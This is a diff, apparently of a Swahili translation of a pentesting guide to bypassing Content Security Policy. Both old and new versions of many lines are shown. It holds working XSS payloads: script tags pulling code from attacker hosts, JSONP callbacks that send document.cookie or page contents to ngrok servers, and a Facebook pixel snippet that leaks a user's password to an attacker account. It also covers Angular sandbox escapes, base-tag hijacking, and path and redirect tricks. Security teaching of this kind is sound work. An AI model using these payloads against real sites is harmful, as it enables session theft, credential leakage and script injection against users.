- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
 | 
			
		||||
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki za vyanzo vinavyolingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
 | 
			
		||||
- `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili tu wakati ombi ni la asili tofauti.
 | 
			
		||||
- `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakiwa ambazo zitarudisha mara moja kwa rasilimali nyingine. Haipendekezwi kwani inadhuru usalama.
 | 
			
		||||
 | 
			
		||||
## Sheria za CSP zisizo salama
 | 
			
		||||
 | 
			
		||||
@ -126,18 +126,18 @@ Kazi ya payload:
 | 
			
		||||
```
 | 
			
		||||
### strict-dynamic
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kwa namna fulani kufanya **kodhi ya JS iliyoruhusiwa kuunda tagi mpya ya script** katika DOM na kodhi yako ya JS, kwa sababu script iliyoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
 | 
			
		||||
Ikiwa unaweza kwa namna fulani kufanya **kodikali ya JS inayoruhusiwa kuunda tagi mpya ya script** katika DOM na kodikali yako ya JS, kwa sababu script inayoruhusiwa inaunda hiyo, **tagi mpya ya script itaruhusiwa kutekelezwa**.
 | 
			
		||||
 | 
			
		||||
### Wildcard (\*)
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
 | 
			
		||||
```
 | 
			
		||||
Kipakia kinachofanya kazi:
 | 
			
		||||
Kazi ya payload:
 | 
			
		||||
```markup
 | 
			
		||||
"/>'><script src=https://attacker-website.com/evil.js></script>
 | 
			
		||||
"/>'><script src=data:text/javascript,alert(1337)></script>
 | 
			
		||||
```
 | 
			
		||||
### Kukosekana kwa object-src na default-src
 | 
			
		||||
### Ukosefu wa object-src na default-src
 | 
			
		||||
 | 
			
		||||
> [!CAUTION] > **Inaonekana kama hii haifanyi kazi tena**
 | 
			
		||||
```yaml
 | 
			
		||||
@ -153,17 +153,17 @@ Inafanya kazi payloads:
 | 
			
		||||
```yaml
 | 
			
		||||
Content-Security-Policy: script-src 'self';  object-src 'none' ;
 | 
			
		||||
```
 | 
			
		||||
Ikiwa unaweza kupakia faili ya JS unaweza kupita CSP hii:
 | 
			
		||||
Ikiwa unaweza kupakia faili la JS unaweza kupita hii CSP:
 | 
			
		||||
 | 
			
		||||
Payload inayofanya kazi:
 | 
			
		||||
```markup
 | 
			
		||||
"/>'><script src="/uploads/picture.png.js"></script>
 | 
			
		||||
```
 | 
			
		||||
Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
 | 
			
		||||
Hata hivyo, kuna uwezekano mkubwa kwamba server inafanya **uthibitishaji wa faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani za faili**.
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiambatisho kinachokubalika na seva (kama: _script.png_), hii haitatosha kwa sababu baadhi ya seva kama seva ya apache **huchagua aina ya MIME ya faili kulingana na kiambatisho** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiambatisho _**.wave**_, kwa hivyo haitoi na **aina ya MIME kama audio/\***.
 | 
			
		||||
Zaidi ya hayo, hata kama ungeweza kupakia **kodii ya JS ndani** ya faili kwa kutumia kiendelezi kinachokubalika na server (kama: _script.png_) hii haitatosha kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kiendelezi** na vivinjari kama Chrome vitakataa **kutekeleza kodii ya Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache hajui** kiendelezi _**.wave**_, kwa hivyo haikihudumii kwa **aina ya MIME kama audio/\***.
 | 
			
		||||
 | 
			
		||||
Kutoka hapa, ikiwa utapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
 | 
			
		||||
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiendelezi kilichokosewa**, unaweza kujaribu kupakia faili yenye kiendelezi hicho na Maudhui ya skripti. Au, ikiwa server inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
 | 
			
		||||
 | 
			
		||||
### Form-action
 | 
			
		||||
 | 
			
		||||
@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 | 
			
		||||
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha `window` object**.
 | 
			
		||||
> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba nyingine zozote za JS zilizoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorudisha kipande cha `window`**.
 | 
			
		||||
```markup
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 | 
			
		||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 | 
			
		||||
@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa:
 | 
			
		||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 | 
			
		||||
</div>
 | 
			
		||||
```
 | 
			
		||||
#### Kutumia vibaya msimbo wa JS wa google recaptcha
 | 
			
		||||
#### Kutumia vibaya msimbo wa google recaptcha JS
 | 
			
		||||
 | 
			
		||||
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
 | 
			
		||||
```html
 | 
			
		||||
@ -260,21 +260,21 @@ b=doc.createElement("script");
 | 
			
		||||
b.src="//example.com/evil.js";
 | 
			
		||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
 | 
			
		||||
```
 | 
			
		||||
#### Kutumia www.google.com kwa ajili ya kuelekeza wazi
 | 
			
		||||
#### Abusing www.google.com for open redirect
 | 
			
		||||
 | 
			
		||||
URL ifuatayo inaelekeza kwa example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 | 
			
		||||
URL ifuatayo inarejelea example.com (kutoka [hapa](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 | 
			
		||||
```
 | 
			
		||||
https://www.google.com/amp/s/example.com/
 | 
			
		||||
```
 | 
			
		||||
Kunyanyasua \*.google.com/script.google.com
 | 
			
		||||
Kunyanyasa \*.google.com/script.google.com
 | 
			
		||||
 | 
			
		||||
Inawezekana kunyanyasua Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
 | 
			
		||||
Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
 | 
			
		||||
 | 
			
		||||
### Mipangilio ya Tatu + JSONP
 | 
			
		||||
```http
 | 
			
		||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 | 
			
		||||
```
 | 
			
		||||
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupuuziliwa mbali kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
 | 
			
		||||
Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
 | 
			
		||||
```markup
 | 
			
		||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 | 
			
		||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
 | 
			
		||||
@ -284,26 +284,26 @@ Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho
 | 
			
		||||
https://www.youtube.com/oembed?callback=alert;
 | 
			
		||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 | 
			
		||||
```
 | 
			
		||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina mwisho wa JSONP tayari kutumika kwa CSP bypass ya tovuti tofauti.**
 | 
			
		||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.**
 | 
			
		||||
 | 
			
		||||
Uthibitisho sawa utaonekana ikiwa **mwisho wa kuaminika una Open Redirect** kwa sababu ikiwa mwisho wa awali unakubaliwa, redirects zinakubaliwa.
 | 
			
		||||
Uthibitisho sawa utaweza kutokea ikiwa **kiungo kilichotolewa kina Open Redirect** kwa sababu ikiwa kiungo cha awali kinatambulika, redirects zinatambulika.
 | 
			
		||||
 | 
			
		||||
### Matumizi Mabaya ya Watu wa Tatu
 | 
			
		||||
### Matumizi Mabaya ya Viongozi wa Tatu
 | 
			
		||||
 | 
			
		||||
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya watu wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya watu hawa wa tatu ni:
 | 
			
		||||
Kama ilivyoelezwa katika [post ifuatayo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna maeneo mengi ya viongozi wa tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya viongozi hawa wa tatu ni:
 | 
			
		||||
 | 
			
		||||
| Kitu              | Tovuti Iliyokubaliwa                          | Uwezo       |
 | 
			
		||||
| ----------------- | -------------------------------------------- | ------------ |
 | 
			
		||||
| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
 | 
			
		||||
| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
 | 
			
		||||
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
 | 
			
		||||
| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
 | 
			
		||||
| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
 | 
			
		||||
| Kitu              | Domain Iliyoruhusiwa                          | Uwezo       |
 | 
			
		||||
| ----------------- | --------------------------------------------- | ------------ |
 | 
			
		||||
| Facebook          | www.facebook.com, \*.facebook.com             | Exfil        |
 | 
			
		||||
| Hotjar            | \*.hotjar.com, ask.hotjar.io                  | Exfil        |
 | 
			
		||||
| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net             | Exec         |
 | 
			
		||||
| Amazon CloudFront | \*.cloudfront.net                             | Exfil, Exec  |
 | 
			
		||||
| Amazon AWS        | \*.amazonaws.com                              | Exfil, Exec  |
 | 
			
		||||
| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
 | 
			
		||||
| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | 
			
		||||
| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 | 
			
		||||
| Salesforce Heroku | \*.herokuapp.com                              | Exfil, Exec  |
 | 
			
		||||
| Google Firebase   | \*.firebaseapp.com                            | Exfil, Exec  |
 | 
			
		||||
 | 
			
		||||
Ikiwa utapata yoyote ya maeneo yaliyokubaliwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo. 
 | 
			
		||||
Ikiwa utapata yoyote ya maeneo yaliyoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya mtu wa tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo. 
 | 
			
		||||
 | 
			
		||||
Kwa mfano, ikiwa utapata CSP ifuatayo:
 | 
			
		||||
```
 | 
			
		||||
@ -318,36 +318,36 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog
 | 
			
		||||
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
 | 
			
		||||
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
 | 
			
		||||
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
 | 
			
		||||
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja kifaa cha Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
 | 
			
		||||
4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
 | 
			
		||||
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 | 
			
		||||
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
 | 
			
		||||
 | 
			
		||||
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
 | 
			
		||||
Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
 | 
			
		||||
```JavaScript
 | 
			
		||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
 | 
			
		||||
fbq('trackCustom', 'My-Custom-Event',{
 | 
			
		||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 | 
			
		||||
});
 | 
			
		||||
```
 | 
			
		||||
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Angalia [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya mengine ya wahusika wa tatu.
 | 
			
		||||
Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Rejelea [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.
 | 
			
		||||
 | 
			
		||||
### Bypass kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 | 
			
		||||
 | 
			
		||||
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine.
 | 
			
		||||
Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye baadhi ya seva.
 | 
			
		||||
 | 
			
		||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo:
 | 
			
		||||
```html
 | 
			
		||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 | 
			
		||||
```
 | 
			
		||||
Kivinjari hatimaye kitaongeza `https://example.com/scripts/angular/angular.js`.
 | 
			
		||||
Brahara hatimaye itapakia `https://example.com/scripts/angular/angular.js`.
 | 
			
		||||
 | 
			
		||||
Hii inafanya kazi kwa sababu kwa kivinjari, unachaji faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
 | 
			
		||||
Hii inafanya kazi kwa sababu kwa brahara, unachukua faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
 | 
			
		||||
 | 
			
		||||
∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
 | 
			
		||||
 | 
			
		||||
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kupuuziliwa mbali**.
 | 
			
		||||
Kwa **kutumia ubaya huu katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali**.
 | 
			
		||||
 | 
			
		||||
Suluhisho ni kutotenda `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
 | 
			
		||||
Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.
 | 
			
		||||
 | 
			
		||||
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 | 
			
		||||
 | 
			
		||||
@ -359,23 +359,23 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
 | 
			
		||||
 | 
			
		||||
### kukosekana kwa **base-uri**
 | 
			
		||||
 | 
			
		||||
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
 | 
			
		||||
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
 | 
			
		||||
 | 
			
		||||
Zaidi ya hayo, ikiwa **ukurasa unachaji skripti kwa kutumia njia ya jamaa** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **ichaji** skripti kutoka **seva yako mwenyewe kufikia XSS.**\
 | 
			
		||||
Ikiwa ukurasa ulio hatarini unachajiwa kwa **httpS**, tumia URL ya httpS katika base.
 | 
			
		||||
Zaidi ya hayo, ikiwa **ukurasa unachukua script kwa kutumia njia ya relative** (kama `<script src="/js/app.js">`) kwa kutumia **Nonce**, unaweza kuitumia vibaya **base** **tag** ili kufanya iwe **pakiwa** script kutoka **seva yako mwenyewe kufikia XSS.**\
 | 
			
		||||
Ikiwa ukurasa ulio hatarini unachukuliwa na **httpS**, tumia URL ya httpS katika base.
 | 
			
		||||
```html
 | 
			
		||||
<base href="https://www.attacker.com/" />
 | 
			
		||||
```
 | 
			
		||||
### Matukio ya AngularJS
 | 
			
		||||
 | 
			
		||||
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu asilia cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuzunguka CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia array ya vitu vinavyohusishwa na mchakato wa utekelezaji wa tukio, huku kitu cha `window` kikiwa kimewekwa daima mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
 | 
			
		||||
Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee `$event`, kinachorejelea kitu cha asili cha tukio la kivinjari. Kitu hiki cha `$event` kinaweza kutumika kuvunja CSP. Kwa kuzingatia, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia orodha ya vitu vilivyohusishwa na mchakato wa utekelezaji wa tukio, ambapo kitu cha `window` daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.
 | 
			
		||||
 | 
			
		||||
Kwa kuelekeza array hii kwa chujio cha `orderBy`, inawezekana kuipitia, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
 | 
			
		||||
Kwa kuelekeza orodha hii kwa chujio cha `orderBy`, inawezekana kuzunguka juu yake, ikitumia kipengele cha mwisho (kitu cha `window`) kuanzisha kazi ya kimataifa kama `alert()`. Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:
 | 
			
		||||
```xml
 | 
			
		||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 | 
			
		||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 | 
			
		||||
```
 | 
			
		||||
Hii sehemu inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia objekti ya `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
 | 
			
		||||
Hii sehemu inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia `$event.path|orderBy` kubadilisha array ya `path`, na kutumia kituo cha `window` kutekeleza kazi ya `alert()`, hivyo kufichua `document.cookie`.
 | 
			
		||||
 | 
			
		||||
**Pata bypass nyingine za Angular katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 | 
			
		||||
 | 
			
		||||
@ -383,7 +383,7 @@ Hii sehemu inaonyesha matumizi ya `ng-focus` directive kuanzisha tukio, ikitumia
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 | 
			
		||||
```
 | 
			
		||||
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za kurudi na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 | 
			
		||||
Sera ya CSP inayoruhusu maeneo ya kupakia skripti katika programu ya Angular JS inaweza kupitishwa kupitia mwito wa kazi za kurudi na baadhi ya madarasa yaliyo hatarini. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina ulio kwenye [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 | 
			
		||||
 | 
			
		||||
Payloads zinazofanya kazi:
 | 
			
		||||
```html
 | 
			
		||||
@ -393,15 +393,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 | 
			
		||||
<!-- no longer working -->
 | 
			
		||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 | 
			
		||||
```
 | 
			
		||||
Mikondo mingine ya utekelezaji wa JSONP isiyo na mipaka inaweza kupatikana [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao zilifutwa au kurekebishwa)
 | 
			
		||||
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
 | 
			
		||||
 | 
			
		||||
### Bypass kupitia Uelekeo
 | 
			
		||||
### Bypass via Redirection
 | 
			
		||||
 | 
			
		||||
Nini kinatokea wakati CSP inakutana na uelekeo wa upande wa seva? Ikiwa uelekeo unapeleka kwenye asili tofauti ambayo hairuhusiwi, bado itashindwa.
 | 
			
		||||
Nini hutokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea chanzo tofauti ambacho hakiruhusiwi, bado utaanguka.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekeo unapeleka kwenye njia tofauti, inaweza kupita vizuizi vya awali.
 | 
			
		||||
Hata hivyo, kulingana na maelezo katika [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), ikiwa uelekezaji unapelekea njia tofauti, inaweza kupita vizuizi vya awali.
 | 
			
		||||
 | 
			
		||||
Hapa kuna mfano:
 | 
			
		||||
Here's an example:
 | 
			
		||||
```html
 | 
			
		||||
<!DOCTYPE html>
 | 
			
		||||
<html>
 | 
			
		||||
@ -421,15 +421,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 | 
			
		||||
```
 | 
			
		||||
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwa kuwa njia inachukuliwa, skripti za `/test` na `/a/test` zitazuiliwa na CSP.
 | 
			
		||||
 | 
			
		||||
Hata hivyo, `http://localhost:5555/301` ya mwisho itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
 | 
			
		||||
Hata hivyo, `http://localhost:5555/301` itakuwa **imeelekezwa upande wa seva kwa `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni kuelekezwa, **njia haitachukuliwa**, na **skripti inaweza kupakiwa**, hivyo kuzunguka kikomo cha njia.
 | 
			
		||||
 | 
			
		||||
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazuiliwa.
 | 
			
		||||
Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itazungukwa.
 | 
			
		||||
 | 
			
		||||
Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.
 | 
			
		||||
 | 
			
		||||
### Zungusha CSP na alama zisizokamilika
 | 
			
		||||
 | 
			
		||||
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/).
 | 
			
		||||
Soma [jinsi hapa](../dangling-markup-html-scriptless-injection/index.html).
 | 
			
		||||
 | 
			
		||||
### 'unsafe-inline'; img-src \*; kupitia XSS
 | 
			
		||||
```
 | 
			
		||||
@ -444,13 +444,13 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
 | 
			
		||||
Image().src='http://PLAYER_SERVER/?'+_)
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
Kutoka: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 | 
			
		||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 | 
			
		||||
 | 
			
		||||
